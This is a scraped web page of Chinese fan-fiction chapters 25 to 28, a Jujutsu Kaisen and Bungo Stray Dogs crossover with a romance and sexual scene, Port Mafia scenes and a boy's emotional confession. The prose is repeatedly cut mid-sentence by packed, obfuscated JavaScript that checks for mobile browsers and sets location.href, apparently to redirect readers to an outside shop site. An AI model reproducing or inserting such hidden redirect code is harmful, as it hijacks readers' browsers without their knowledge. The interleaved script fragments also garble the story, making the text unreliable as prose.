l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605657|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 伏黑隐将手撑在禅院甚尔的肩头,借力转身,膝盖顶在男人的大腿上,他以俯视的姿势看着禅院甚尔,“我希望你没有骗我。” “这是警告吗?” “这是请求,你为什么总是猜不对。” 说着,他主动低下头,带着倾注全部的勇气俯下身,禅院甚尔扶住伏黑隐的腰侧,接住了这份仿佛要将生命也加进来的爱意。 …… ……… 伏黑隐的头发很白,极招眼球的白,远远一看就像在看天上的云一样,云不会发光,它所在的苍穹将之照亮,于是不管白昼黑夜,人只要一抬头就能看见它。 很多人在看他。 很多人在爱他。 但一朵云或许有千万斤重,人们只爱他远在天边的柔和与美。 而禅院甚尔知道真正的伏黑隐是什么模样。 千人千面,他用无数张并不精湛、但足够遮蔽天光的面具朝向世人,善良,纯白,仁慈,开朗……还有最初对禅院甚尔展露的笑,那都是假的。 唇舌交缠间,禅院甚尔抱起他。 衣领的纽扣被解开,风吹不散的云关上门,隔绝了世界。 他早就想这样做了。 禅院甚尔想。 在半年前,在北海道旅游时的冬日,从前医治过的诅咒师在人群中一眼看见了他。 无关紧要之人哀求着的挽留与嘶吼永远是丑陋至极的。 “你凭什么拦住我?!” “你不也同我一样吗?他只是把你当做一个工具,一个打手,你与我一样没有任何身份!你没有资格,你没有资格拦住我——他迟早会抛弃你!” 那次的北海道之行并不愉快。 不知道是谁散播了伏黑隐在这里的消息,明明那个诅咒师他早就杀死了。 每个人都如此说:你只是一个工具。 每个人都在诅咒:他迟早会丢下你。 禅院甚尔在半年前就想这样做了。 冠以他的姓氏,拥有正大光明独占的权利。 十指相扣的手落在被褥上,感觉到身上一轻的伏黑隐抬眼,水雾迷蒙的瞳孔映出男人完美的身躯。 他感觉到有一只手贴着自己的背脊滑下去,看不见的触感最是清晰,伏黑隐握住那只手,下意识地想要阻拦。 下一秒掌心收紧,伏黑隐听到一声笑。 山峦般的身躯重新俯下,紧接着更加细密的吻落在身上。 “……” 盯着头顶晃动的灯光,伏黑隐突然想起了他们的第二次相遇。 一个阴雨天。 电闪雷鸣,骤雨如刺的雨天。 狼狈至极的男人破开诊所的门,死死掐住伏黑隐的脖子,他的脖子被一根铁管捅穿,不知道谁的力气如此大,连天与暴君也能伤到。 但现在看来,这位天与暴君笃定自己就是凶手了。 诊所里的病人都逃走了,他们本来就痊愈了,留在这里也只是好奇,医生到底是否真的如表面这般良善——那是禅院甚尔第一次医治后的一个月后,伏黑隐在这个街区的风评有所转变。 变成了一个愚善的医生。 好奇和生命是绝对无法相比较的东西,很快,诊所便只剩下了两个人。 在被捏碎颈骨死亡之前,男人率先因为重伤昏倒在他的身上,鲜红的血喷涌而出,将医生的白大褂染红大半。 伏黑隐将人推开,心有余辜地摸了摸脖子,这才看向医闹的家伙。 现在体验到的痛觉近乎与当时一样。 他的脾气并不如表现出的那样好。 面对要杀死自己的人也不可能大度地选择原谅。 自己那时候做了什么来着……痛意稍缓,紧随其上的感觉让伏黑隐微微睁大了眼。 灯光晃的有些快了。 哦,想起来了。 切了他十几次脏器,在人濒死时又用术式治愈。 男人被剖开的心脏跳得很快。 就如现在一样。 伏黑隐抓住禅院甚尔头发,他们之间的距离前所未有的近,近到只要稍微静下心,就能清楚地听见彼此心跳不同却又完美相融的频率。 但没有人愿意在这个时候安静下来。 他仰起头,接受了欲望的索吻,滚烫的温度从腿间滚落至四肢百骸,头一次,毫无保留地展露了自己的情绪。 痛苦之后,是永无止境的欢愉。 ………… …… 26.第 26 章 清晨时的凉风吹开窗帘,并不刺眼的晨光落到少年困倦的脸上。 他皱起眉,翻身想将脸埋进枕头与被子的夹缝里,刚一动,放在腰上的手就将人重新揽了回来。 没入胸肌里的伏黑隐有些喘不过气,布满淤痕的手臂从被子里伸出,咬与吻的痕迹密密麻麻。 “去拉窗帘。” 伏黑隐带着浓浓倦意的声音在两人相拥的夹缝里响起,带着闷闷的鼻音。 这一觉从昨天中午睡到现在,伏黑隐还是困,就像是回到了高专那段当牛马的日子,浑身提不起劲来。 掌心下的肌肉隆起,见他没动,又催促性地推了推,睡在身旁的人指腹有意识地划过腰后,总算是起来了。 扰人清梦的光终于没了。 他想着,正准备再睡一会儿,熟悉的气息便突然压在颈间,细细啄吻起来。 伏黑隐抓住那只不安分的手,声音被困意淹的细微:“我要睡觉,甚尔。” 已经落到锁骨处的吻停了一瞬,随后向上,轻咬住不愿意配合的嘴角。 被抓住的手往外抽,半边身体都贴在他身上的禅院甚尔没有抬头,语句在不断开合的唇中溢出: “说好的,我们去改名字。” “……嗯。” 听到这句话,伏黑隐才勉强睁开眼睛,有些涣散的眼瞳盯着天花板,醒了好一会儿神,才轻轻推开禅院甚尔。 “改名……” 他掀开被子,挣扎着在床上坐起身,揉揉脸,才算是彻底清醒过来,“把你的名字改成伏黑灰。” 禅院甚尔也站起来,他醒的很早,早就没有了睡意,闻言笑出声:“就怕你叫不习惯。” “只叫伏黑不就行了。” “不行。” 男人在他唇边落下一吻。 换好衣服,伏黑隐拿起洗漱杯,对着镜子理了理卷毛。 昨天还是有点太疯狂了。 禅院甚尔从他的房间里抱出了昨晚的衣服,还有床单枕套。 见伏黑隐叼着牙刷出来,他挑了挑眉,“收拾的好慢啊,隐。” “比起有人一捧水就算洗了脸。”伏黑隐翻了个白眼,捡起地上的上衣,重新塞进禅院甚尔手里,“我确实挺慢的。” 他转身关上门。 过了一会儿,玄关处大门开合的声音响起,禅院甚尔走过来,“那三个小鬼已经起来了。” 他少见的穿了件外衫,和伏黑隐身上外套颜色差不多。 “走吧。” 禅院甚尔说。 “等我吃完。”伏黑隐抬头,朝他展示自己刚吃没几口的早饭。 “小鬼们也还没吃饭。” 禅院甚尔表示他们可以在外面吃。 “才七点,不着急,我吃饭要不了多少时间。” 于禅院甚尔而言,现在的等待是个十分煎熬的事情,他趁着伏黑隐没注意,一把抢过餐盘三两口吃完。 “现在没有饭了,我们快走吧。” “啪!” 禅院甚尔顶着新鲜出炉的巴掌印跟在伏黑隐身后,和禅院惠一起得到了他们的新姓氏。 …… ……… 在这个温度晒人的季节。 港-黑大楼昨晚下了一场大雪。 准确来说,首领所在的那栋楼在昨夜,被突然冻住了。 寒冰从高楼一路流淌向下,将临近的树木打上似雪非雪的白霜,向上望去,会看到无数水滴状的冰棱,棱角尖利,在炽热的阳光下泛着扎眼的冷光。 “昨晚……首领遭遇了袭击吗?” 一觉起来就看到此等壮景的底层人员不明所以。 倒是另一个职权稍高一些的人知道点内情,他和发出疑问的人关系还算不错,“估计是昨天从国外回来的干部大人,接机的人说那位的异能力多半与冰相关。” “这种程度……感觉已经不是普通的冰系异能力了。” “是啊。” 一夜之间将整个大楼内外的温度骤降,破开的楼层里至今还往外飘着雪,简直像是……直接造了一个冬天出来。 但这位干部似乎很久没有回来过横滨了。 连带着也忘记了,在横滨,这样大的雪……已经属于天灾了啊。 西园寺鸣月又被骂了。 来到港口黑手党不到二十四小时,他挨了八小时的骂,昨天凌晨的暴动惊动了所有还在办公的黑手党成员,自然——也包括首领。 所幸西园寺鸣月开的这个洞不大,首领也知道他这个养子脾性,虽说办公室离的近,但最多也只会感受到一点震动,和一点冷而已。 应该。 “你回来是准备气死我吗?!” 刚进门,一本书就劈头盖脸砸向了西园寺鸣月,他自知理亏,也没躲,任由这本页数过人的书籍落到皮鞋前。 西园寺鸣月捡起书,老实地将它放回原位。 然后首领就开骂了。 这期间,解决完刺杀危机的藤原千学已经回了家,让搭档把尾崎红叶和西园寺鸣月留下的痕迹抹除掉,装作一切都没有发生的样子去补觉了。 要不今天就回擂钵街去吧。 杀手解决了,大楼也看过了,其他的西园寺鸣月暂时没有兴趣。 话说他还没有好好逛过横滨,要不要给他们买点伴手礼…… 那些孩子倒不挑食,西园寺给什么吃什么。 不过不知道他们喜欢什么颜色,都穿得灰扑扑的,或许可以每个颜色都试试。 自动过滤声音的耳朵敏锐地听到了一声滚,西园寺鸣月回过神,迅速行礼告退出门,过程犹如开了二倍速,毫不拖泥带水。 首领愣了一会儿,才暴怒道:“老夫是让你滚过来啊!混账!” 西园寺鸣月已经走远了。 他回到自己开了天窗的办公室,发现走廊上站了个人。 今日的温度倒是对得起青年那身厚棉服了,西园寺鸣月走过去,“把文件抱到楼下来。” 还好昨晚把文件冻住了,不然破墙的瞬间它们就得跟着风一同卷进去,西园寺鸣月想,“还有保险柜,也带下来,其他的不用带。” 他决定处理完文件就带着宝石离开。 “……是。” 金色的立方体包裹住西园寺鸣月所说的东西,将它们全部吞没进亚空间内,名为兰堂的下属穿着比昨天更厚的衣服,发着抖跟在金发青年身后。 进了电梯,他抖得更厉害了,海藻似的长发仿佛也结了霜。 西园寺鸣月犹豫片刻,还是把心中疑问问了出来,“首领为什么会派你来辅佐我?” 他不可能不知道兰堂怕冷吧? “首领、首领说我……我的异能力……可以帮助您。” 比起他能够创造出的价值,这点怕冷的缺陷完全可以忽略不计,但作为刚加入港口黑手党不到两年、就已经有传言会成为准干部的兰堂,首领将他派给西园寺鸣月,或许也有敲打威慑的意思在。 但这也要看另一个人配不配合。 金发青年像是听到了什么好笑的话,轻笑一声,冬雪的气息减弱几分,“倒是第一次这种话。” 将自己关在亚空间里释放异能力吗? 笑出声后,他的嘴角便一直自然地上扬着。 “不过你的异能力确实很方便,收集资料与器材的活到可以交给你。” 话语间,他们来到了新的办公室,有意将身上全自动无上限的冷气收敛住,周遭没那么冷的西园寺鸣月让兰堂将东西放到相同位置去。 “空调开高一点?” “……劳烦了。” 见他明显松了一口气的样子,西园寺鸣月曲起指节,在打开的文件上轻叩,突然说:“帮我处理一点文件吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618019|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从冬雪中诞生成长的青年有着太阳般色彩的头发,他一笑,像守卫将国王层层包围住的冷意似乎也彻底散去了。 不是错觉。 没再感受到那股刺骨寒温的兰堂想,他接过西园寺干部递来的文件,道了声谢。 “应该我道谢才对。”西园寺干部说:“感谢你帮我节省了更多时间。” 白到近乎与流云同色的手伸出,宛如精美的艺术品,但并不完美,指尖带着常年握剑产生的茧,粗粝到更像是雕像了。 修长的食指指向时钟,上面的时针刚刚抵达了7,“干部的时间最是宝贵,不是吗?” 至于是出差、任务还是玩乐。 这就不是下属应该知道的事情了。 有人帮忙,文件处理的很快,不到午时便解决完了,金发青年转着钢笔,“你把它们交上去吧。” 他可不想再挨骂了。 “是。” 兰堂垂首,带着文件便准备离开。 西园寺鸣月思考片刻,没有叫住他,而是选择从大衣里掏出一枚宝石放到办公桌前。 算是兰堂替他挨骂的补偿吧,这枚宝石,他记得是两千万低价收购的。 港-黑的办公室有个好处。 它的窗户没有护栏。 金发青年打开窗,动作利落地从几十层的楼层跳了下去。 顷刻间,吹向港-黑的风不再夹着霜雪。 温度随着干部的离开迅速回温。 [我觉得没有人能够认出我来。] 一离开港口Mafia,气质表情、连带着走路姿势都完全换了个样子的青年走在街上。 他心情颇好的挑选着带回擂钵街去的礼物。 完成出差第一个任务,得了奖金,买了不少游戏的搭档的心情也很好,[骑士这个功能就是好啊。] 『骑士』有个特质叫「永不落幕的信仰」: 骑士意志坚定,从不轻易改变选择。 是成为让草木生长的旭日,或是遮掩一切真相的黑夜,登入天国,坠向地狱,骑士知道自己的选择永远是对的。 换言之,选择帮助的阵营后卡牌会一键换色。 而作为不受游戏规则控制的神·员工·隐随时都可以更换阵营:D 西园寺鸣月之前和尾崎红叶解释的也不算是胡说,在这个世界,他本来就打算维持这样的人设。 谁能想到满大街购买着童装、满脸笑容的人会是一个黑手党呢? 日行一善的西园寺干部将落水的男孩拖上岸,打开自己的购物袋,拿出一套衣服放到溺水昏迷的男孩旁边,而后站起来,头也不回地向着甜品店走去。 - [横滨的点心要好吃一点。] 体验过五条悟的糖分炸弹后,他现在一在东京看到甜点,就会下意识去回味那股不妙的味道。 久而久之,伏黑隐就没在东京吃过甜点了。 搭档同样想到了当初那道惊悚的味觉,[你说得对。] - 青年渐渐走远,午后刺眼的阳光落在灿金色的发丝上,镀上一层耀眼的光,远远看去像神国降临的使者。 偏偏穿着漆黑的衣服。 大衣被走动带起的风扬起,像乌鸦招展开的羽翼。 - [话说回来,刚才那个人是不是有点眼熟?] 全部注意都在购置的游戏上,还没来得及扫描就离开的搭档疑惑,[有点像那个,就是那个……] [不会吧。] 连接到搭档的脑回路的神隐想了想,[他脸上没绷带呢。] 每天见过的人那么多,除了重要的,打算长期相处下去的,其余人的脸神隐都不怎么记。 就像现在,他完全没想起来被救起来的小孩长什么样。 [也对。]搭档顺带扫了一下周遭,提议道:[要不要买点烧烤回去?] 27.第 27 章 禅院……现在该叫伏黑甚尔了。 心情非常好的伏黑甚尔,在改姓的第二天就非常丝滑地送走了三个电灯泡。 又熬了一夜的伏黑隐还在睡梦中。 或者说,全部精神都用来应付江户川乱步了。 是这样的,杀手危机解除后,搭档就在第二天撤销了对江户川乱步案件的阻拦。 于是在撤销阻拦的三个小时后,江户川乱步就带着伴手礼出现在了藤原千学面前。 然后他看了看千学,睁开眼睛看了看千学,又摘下眼镜看了看千学。 “藤原千学!” 江户川乱步很生气地叫出了同伴的全名,“你背着乱步有了新的朋友!” 藤原千学……藤原千学稍稍松了口气。 原来没有发现——“大叔!千学他遇到刺杀了!”——他跟着黑手党干部去黑手党总部逛了一圈,顺带搞了个破坏的事情啊。 但其实现在的场面也没有好上多少。 “所以,你是在晚上意外遇到绑架,并被一个路见不平、且你之前认识的黑手党救了下来,随后他带你去吃了饭,又恰巧在这个时候,接了悬赏前来刺杀那位黑手党的杀手出现,他们在搏斗的过程中,你开枪帮助了身处弱势的黑手党,并在开枪的中途——受了伤,是这个意思吗?” 跪坐在江户川乱步和福泽谕吉面前的藤原千学默默点头。 他就说怎么会被发现。 原来伏黑甚尔在西园寺鸣月取消异能力的瞬间,朝自己扔了个小刀,不过刚划出点血痕就被弹开了,对疼痛不敏感的藤原千学也没发现。 以后让搭档每天扫描一下身体,半个月扫描一次间隔还是太长了。 藤原千学看了看江户川乱步。 乱步气鼓鼓地看着他,明显还在计较自己有了新朋友的事情。 但他好像相信了自己的说辞。 “晚上……”福泽谕吉拧着眉,他似乎格外在意第一件事,“你晚上出门了?” “嗯。” 藤原千学点头,“我的异能力告诉我,那个时候出去会找到好东西。” 银发武士捏紧拳头,看起来很想做些什么,最终还是开口问道:“那你找到了吗?” “找到了。” “没有就——嗯?” 藤原千学乖乖地伸出手,将早已准备好的宝石放到榻榻米上。 宝石是翠绿的成色,近乎与江户川乱步的眼睛相同了,它的外形像一只猫的正脸,很漂亮。 看着这一看就价值不菲的绿宝石,这回轮到福泽谕吉沉默了。 “所以说,”藤原千学用一本正经的语气说,“我这一趟,很值钱。” 毕竟他并没有受到什么严重伤害不是吗? 黑白分明的眼睛望着福泽谕吉,试图用眼神传递这次行动真的没有事的信息。 福泽谕吉想了又想,忍了又忍,最后想到了一句他偶然听到的话——三天不打,上房揭瓦。 但终究只能想想罢了。 毕竟只是摔倒就能够摔出那么重的伤势……看着面前瘦骨峋嶙的身体,福泽谕吉始终做不到用太凶的语气去面对。 “这个宝石,是怎么得到的?” 他甚至没有去问那个黑手党的身份。 藤原千学回答:“杀手给我的。” “……给?” “我从他身上找到的。” 冷静。 冷静。 这只是个孩子……是一个需要正确引导的…… “他真穷,全身上下只带了这个宝石,不然我还能再拿点回来。” “……” 福泽谕吉拿起榻榻米上的宝石,冰凉的触感带给了他最后一丝冷静,“……你知道自己在做些什么吗?” “知道。”藤原千学理所应当地说道,“他又用不了那些东西,给别人不如给我们。” “藤原千学。” 福泽谕吉看着跪坐在自己面前的男孩,“死人的东西是可以随便拿的吗?” “他只是个杀手。”藤原千学不理解福泽谕吉为什么生气,“我为什么不能拿?” 语毕,像是也觉得自己这样说确实太过分了,藤原千学愣了一下,又补充道: “而且我也很好心地将他安置了,他避免了自己身体暴晒荒野,我也得到了想要的东西,这不算是交换吗?” “……” 看着再次陷入沉默的福泽谕吉,藤原千学试图证明些什么,他说:“他想杀死我,我只是给了他一枪。” “千学,别说了。”江户川乱步突然开口。 “为什么?我只是在解释。” 藤原千学满脸疑惑,对上江户川乱步眼睛时忽地想到什么,声音大了起来:“我没有杀死他!” “我只是朝他的心脏开了一枪,但是他躲开了,他只是受伤了,没有死,他躲开了!我没有杀死他,我只是在帮那个人,他想杀死我,还有那个人,我不帮忙,死的就是我和那个人。” 情绪突然激动起来的他语速极快地说着,最后再次看向江户川乱步,急于从与自己相似的眼睛里得到一点认可,“我只是在救人,我也没有杀死他,我没有做错!” “千学。” “我没有错!” 这一句话已经称得上喊叫了,在新家待了好几个月,仍旧瘦得只有一把骨头的男孩将头埋进腿间。 “战场上搜集到的东西都能够叫战利品,我的为什么不可以?!” 看不见就听不到的他完全沉浸在了自己世界里。 “我也没有杀死他。” 世界安静后,情绪也慢慢冷静下来的藤原千学又说了一遍。 “那个伤口本来就不足以致命,我没有杀死他,我也只是拿了一枚宝石,其他的,我什么都没有……” 他的话语停住,过了一会儿才说:“我没有做错。” “……” 寂静在黑暗中行走,像是走了很久,又像是刚刚迈开腿,藤原千学感觉到有一双手温柔地按住了自己的肩膀,想要让他重新抬起头。 掌心下的肩膀瑟缩一瞬,紧接着,男孩小心翼翼露出一双眼睛。 是江户川乱步。 “我们去睡觉。”他说,擦掉那双眼睛里的雾霾,“很晚了千学,我们回房间睡觉。” 藤原千学无言地被江户川乱步牵到了房间里。 他坐在床上,被拥进并不宽阔的怀抱里。 掌心一遍遍不厌其烦地轻拍着藤原千学的脊背,少年学着记忆中的母亲耐心地哄着同伴。 过了很久,一直维持着的姿势被改变了。 藤原千学用力回抱住江户川乱步,眼睛垂落,盯着天蓝色的床单,又移到与自己款式相同的斗篷上,随后闭上眼,安静地靠在同伴的肩膀上。 他轻声说:“对不起。” “那不是我的朋友,他之前收留过我,但我不喜欢那里的生活,我离开了,他一直很担心我,我就……” 藤原千学抱紧了他,他听不见,但他知道江户川乱步在听。 在很安静的听。 鼻腔内的酸涩堵住他的呼吸,藤原千学压住涌上喉咙的滞涩,“你说过要知恩图报,他正好想拜托我一件事,所以你们离开后,我就去找他了。” “只要我帮了他这一次,然后再帮一次,我和他就没有关系了,第一次是帮他处理文件,第二次是辅助他解决杀手,我们已经没关系了,也不会再见面,乱步说要当个好孩子,我想和乱步一样。” “他不是我的朋友,我只有乱步一个朋友。” 抚在背上的手突然落到头顶,熟练地摸了摸,江户川乱步松开藤原千学,好让他看清自己的嘴型。 他问:“千学刚才为什么要说谎呢?” “我不想让你们知道我对黑手党的熟悉,你们抗拒这个东西,我不想你们抗拒我。” 藤原千学迅速眨了眨眼睛,“我不想让你们觉得我是一个罪犯,如果你们也这样想,我,我不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623912|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我不知道该怎么做。” “我要重新流浪吗?然后再躲在哪个角落等些什么,但我等不到乱步了,也不会有人像你们这样包容我。”他说,“所有人都理解不了我,所有人都在排斥我,没有你们,我永远融入不了这个世界。” “千学不会再遇到从前的事情。” 江户川乱步握住藤原千学垂在腿间的手,将温暖源源不断地传递给他,“我们不会因为这件事分开,就算真的误入歧途,我也一定会把千学拉回来。” “除非千学主动离开,我们永远不会抛下千学。” 话语跟着窗外的飘叶落了地,是足以融进尘土的一声响,而恰好将灵魂埋在地底的藤原千学一动不动地望着他。 过了几秒,他又眨了下眼。 但没有水流会一直被拦住,一滴温凉的眼泪落在江户川乱步的手背上。 “……但是,”藤原千学的眼睛有些茫然,他怎么也拦不住的泪水一滴一滴落下,让原本流畅的话语也被淹没在情绪不明的哭泣之中,“乱步,人是会撒谎的啊。” 他要怎么才能够相信,不被抛弃是一定会实现的承诺——这是只有到死亡的前一刻,才能真正放下心去相信的东西啊。 “乱步永远不会欺骗千学。” 江户川乱步拿纸巾将藤原千学眼前模糊的世界擦得明净,“千学可以一直相信乱步,如果实在害怕的话,那我们就约定从现在开始,大家都不会向最重要的人说谎,不管因为什么。” “我们用诚实交换诚实,我们不会分开,永远不会分开。” “……” 藤原千学抿紧的嘴唇不受控地抖着,连同身躯一同颤抖,他猛地捂住眼睛,弓起的背突出一根分明的脊柱,像是愈合不了的一道鞭痕。 良久之后,室内才响起一声带着泣音的应答。 福泽谕吉无言地与房间里的少年对视一眼,翠绿的眼睛弯了弯,竖起一根食指示意他男孩睡得并不安稳。 他在家庭电话前待到天际泛起一线白,才拨通了熟记于心的那串号码。 片刻,客厅内响起银发武士的声音。 “老师,是我……” “……” “………” 【明天别来见我。】 看着突然变成乱码,又浮现出一串文字的屏幕,尾崎红叶惊疑不定地重启了手机。 这次文字改了。 【是我,藤原千学。】 简单的文字中透露了浓浓的嫌弃。 间贯一同样看到了这行字,他缓下手上动作,接过手机,试图找到回复对面的方式。 金发青年抱着木炭从旁边经过,看到他们不对劲的表情,顺口问道:“怎么了?” 尾崎红叶:“藤原侦探给我们发消息了。” 间贯一:“但是我们不知道怎么回复。” “这个啊……” 西园寺鸣月笑了笑,将木炭递给跑向自己的几个孩子,拍拍手,从间贯一手里拿过手机,随便按了几下,“不用回复,千学只是告知你们一声。” 说着,把屏幕恢复如初的手机还回去。 “千学的意思应该是,他撒了一个对你们不利的小谎,所以这两天,就先待在擂钵街吧。” 解决问题最便利的方法是什么? 是创造一个更严重的问题。 “哧——” 西园寺鸣月点燃一根火柴,扔进间贯一安装好碳火烤架里,火苗渗入木炭,慢慢燃起了烟,火焰低低升起,如同一张艳红的布在风中起伏。 他教着最大的几个人怎么烤肉,又让学会的他们去教其他人,十几个相依为命的孩子相互分享着,难得的都带着笑脸。 尾崎红叶发现了一个落单的孩子。 他待在角落,血红色的眼睛一动不动看着不远处其乐融融的场景。 发现注视,这个孩子才像是猛然回过神一般,远远朝他们扯出一道乖巧的笑。 紧接着转身跑进了阴影里。 28.第 28 章 藤原千学睁开眼。 淅淅沥沥的雨声从紧闭的窗外传进来,沉闷地令人心悸。 江户川乱步不在房间,他重新缩进被子里,突然听到一声细微的猫叫声。 是在窗外。 藤原千学犹豫片刻,还是翻身下了床。 透过不停流窜着水珠的玻璃,他看到一只被雨淋湿的三花猫。 “……” 它的尾巴晃了晃,叼着一本书从打开的窗户跳下来。 藤原千学拿起斗篷裹住猫,给它洗了个澡,然后,把猫关在了浴室里,让它自然风干。 三花猫挠着门表示着它的不满。 他不在意地换下睡衣,听着猫叫在心里腹诽好吵的时候,动作突然一停,然后摸摸耳朵,忽地用力地关上门又打开门。 安静的过道传来重重一声巨响。 厨灶使用产生的噪音,汽车远远的鸣笛声,雨声,风声,还有匆忙的脚步声。 穿着长袖衫的男孩站在门口,明亮灯光打在头顶,过渡进黑色的眼瞳,如宝石一样美丽。 他看着朝自己急走过来的两个人。 “我耳朵好了!” 藤原千学的长相是与性格毫不相符的明艳张扬,第一眼看见时,会觉得他应该穿上最鲜艳的色彩,最时尚的着装才对得起这张生来就该万众瞩目的面容。 但面容的主人并不常笑,甚至于表情都不怎么变,相处了那么久的时间里,这是江户川乱步第一次瞧见他笑。 将隔绝着灵魂与世界的玻璃抽出后,与世界疏离的人也终于愿意将灵魂与躯体合二为一,短暂地展露出一点、流露于外表的情绪。 勾起的嘴角像是拉线,灵动地将好心情呈现在男孩漂亮的五官上,像是等候许久总算绽放的昙花。 这道笑容维持的时间并不长,在江户川乱步后知后觉反应过来刚才听到的话时,藤原千学已经恢复了从前惯有的表情。 “还有猫。” 这句话是对着福泽谕吉说的。 …… “千学——可以听见吗?” 在福泽谕吉失落地处理着手背抓伤的时候,江户川乱步正和藤原千学在门外测试着听力。 这段时间的雨格外多,倒是驱散了几分前段时间积累的热气,少年撑着伞站在百米开外的地方,朝另一道稍矮的身影大声喊道。 戴着毛绒帽的男孩比了个OK。 于是江户川乱步又往后退了一米。 在又退了好几次之后,少年的声音终于隐没在密集的雨声中了。 在转身回到屋子里时,藤原千学似有所感地往庭院后的树看了一眼。 雨水拍打着树叶,将枝繁叶茂的大树压下一头。 那里什么都没有。 中午吃饭的时候,江户川乱步跟藤原千学说他们准备开一个侦探社。 “就叫武装侦探社啦!目前的成员只有我、千学跟大叔。” 藤原千学慢吞吞咬着豆荚,他实在不爱吃这种为了营养均衡塞进饭食里的东西,但还是吃完了。 他听着江户川乱步对侦探社的设想,想了想,说:“我们需要一个医生。” …… ………… 当天早晨,这段时间心情都非常不错的他找到伏黑隐,递出来一沓资料。 “这是什么?” 伏黑隐粗略地翻了翻,都是些学校的资料,中学,小学的都有。 “不是想去学校吗?”伏黑甚尔将煮好的鱼汤放到茶几上,斜身揽住伏黑隐肩膀,“这些学校我查过了,都不错。” 他姿态悠闲,声音愉悦:“校医,老师,学生还是其他什么,都可以去做,那里总比高专自在。” 伏黑隐没看那些资料,扭头看向他,“你想我不去高专?” “嗯。” “为什么?” “我们不是在一起了吗?我是诅咒师。”伏黑甚尔说,他隔着资料按住伏黑隐的腿,身体压过来,“隐也知道诅咒师和咒术师的关系有多水火不容。” “那和我们有什么关系。”伏黑隐无所谓地说,“况且在其他人眼里,我早就是一个咒术师了。” “……” 伏黑隐见伏黑甚尔陷入沉默,“我知道你不想让我去,这是我自己的选择。” 他端起温烫的鱼汤吹了吹。 “代价也不用你付,放心吧。” “因为六眼?”伏黑甚尔突然问。 没想到他会想到这一点,伏黑隐愣了下,“也有五条悟的原因。” 伏黑隐喝着鱼汤,“等到……” “所以他才是你喜欢的人?” 伏黑甚尔打断他的话,字句泛着冷意,伏黑隐抬头看,对上男人翻涌着暗色的幽绿眼睛,他疑惑:“为什么会这样想?” 不明所以的问话倒显得像是在心虚了。 偏偏那双眼睛里含着确切的困惑。 心情如同过山车从天空迅速滚落着,刮来的风刺得心脏开始尖叫,伏黑甚尔垂着眼,不让他看见多余的情绪。 “你找到的意义,是那个六眼?” “不对。”伏黑隐好笑地摇摇头,“五条悟确实很重要,但我要找的意义不在于人。” “哪有人是为了别人而存在的啊。” “我。” 突如其来的发言让伏黑隐大脑空白了一瞬,他呆滞地眨了下眼,“什么?” “我找不到活着的意义。” 在纸醉金迷中堕落腐烂,不断通过酒精与情欲麻痹,好在这瞬间的享乐中短暂忘记自己是谁。 曾放弃世界,也放弃自己的伏黑甚尔说:“我是个死人。” “你救活的我。”伏黑甚尔抓住伏黑隐的手,死死按在自己的心口处,“我因为你才存在。” 被按住的手指缩了缩,又被更紧地收拢。 伏黑隐无奈地叹口气,伸出另一只手,轻贴住伏黑甚尔的侧脸,他说:“甚尔,我以前是不是说过。” 卷曲的白发垂下,遮住那双灿烂的眼睛,伏黑隐站起身,更爱居高临下注视他人的医生低头,将手从那只因话语松动的掌心抽出。 “你既然知道我大部分时候都是演出来的,那你应该也了解,我不是会因为一两句话就感动地痛哭流涕的人。” 他弯下腰,松散的领口露出一片洁白无瑕的肌肤,上面什么也没有。 就像那双包含烈阳星辰的金色眼睛。 “所以说——不要用你勾引别人的方式对待我啊。” “……” “………” 像是有一双手拽着他的灵魂沉溺进深海。 海水堵进鼻腔,塞入耳道,又在张口时汹涌地灌进咽喉,窒息到仿若这一生都无甚值得神明拯救的意义。 “人不能只靠感情活着。” 伏黑隐捧起他的脸,看着他的眼睛说,眨眼间又笑起来,仿佛方才的表现也只是演出来的一样,“生命诞生于世,都拥有其存在的意义。” “繁衍,守护,战斗,很多很多的意义,甚尔,我们作为人,不能像动物只凭借单一的支撑活着。” 没有应答伏黑隐也不在意,他分开双膝,跨坐在伏黑甚尔腰间,低下头,于唇间落下一吻。 “如果你说的都是真的,实在荣幸之至,但于我而言,爱情尚且不是一切,于你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627299|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也万万不该如此。” 伏黑隐话语一顿,他起身垂眼,凝视从自己唇角落下的血滴。 伏黑甚尔重重咬了他一口。 “你不相信我。” 